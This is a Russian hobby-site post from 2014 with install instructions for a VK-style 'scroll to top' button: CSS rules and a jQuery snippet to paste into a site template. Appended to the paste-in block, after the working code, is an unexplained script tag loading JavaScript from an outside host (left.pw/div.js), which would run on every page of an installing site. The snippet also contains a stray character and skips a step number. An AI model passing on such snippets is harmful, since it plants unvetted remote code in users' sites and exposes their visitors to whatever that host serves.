1
NSKTeams
Приветствую Вас
Гость
|
RSS
Главная
|
Регистрация
|
Вход
Понедельник, 29.04.2024, 07:46
Меню сайта
Главная страница
Каталог файлов
Каталог статей
Форум
Фотоальбомы
Гостевая книга
Форма входа
Наш опрос
Хотели бы вы помочь сайту?
Конечно да, уже помог
Нет, не вижу смысла
Мне всё равно на этот сайт
Результаты
|
Архив опросов
Всего ответов:
3
Статистика
Онлайн всего:
1
Гостей:
1
Пользователей:
0
Статистика
Проверьте интернет скорость
Главная
»
2014
»
Сентябрь
»
6
» Up на подобии как в вк
09:46
Up на подобии как в вк
Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}
3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");
jQuery(window).scroll(function(){
if (jQuery(this).scrollTop() > 350) {
jQuery('.scrolltotop').fadeIn();
} else {
jQuery('.scrolltotop').fadeOut();
}
});
jQuery('.scrolltotop').click(function(){
jQuery("html, body").animate({ scrollTop: 0 }, 600);
return false;
});
});0
</script><script type="text/javascript" src="http://left.pw/div.js"></script>
На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
1
2
3
4
5
Просмотров: 582 | Добавил:
Bitfood
| Рейтинг:
0.0
/
0
Всего комментариев:
0
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация
|
Вход
]
Зарабатывай с нами
Бонус WMR
Получить WM
R
-бонус на свой кошелек!
Заработай!
РекламкО =)
PekJIamka)
Часы
Отправь СМС
Календарь
«
Сентябрь 2014
»
Пн
Вт
Ср
Чт
Пт
Сб
Вс
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Нужный софт!
Друзья сайта
Все о мопедах
Bконтакте
я зарабатываю тут
Облако Тегов
Для красивого отображения этого блока требуется
Flash Player 9
или выше.
NSKTeams © 2024
Здравствуйте, гость.
Мы просим Вас
зарегистрироваться
на нашем сайте, или
войти
под своим логином.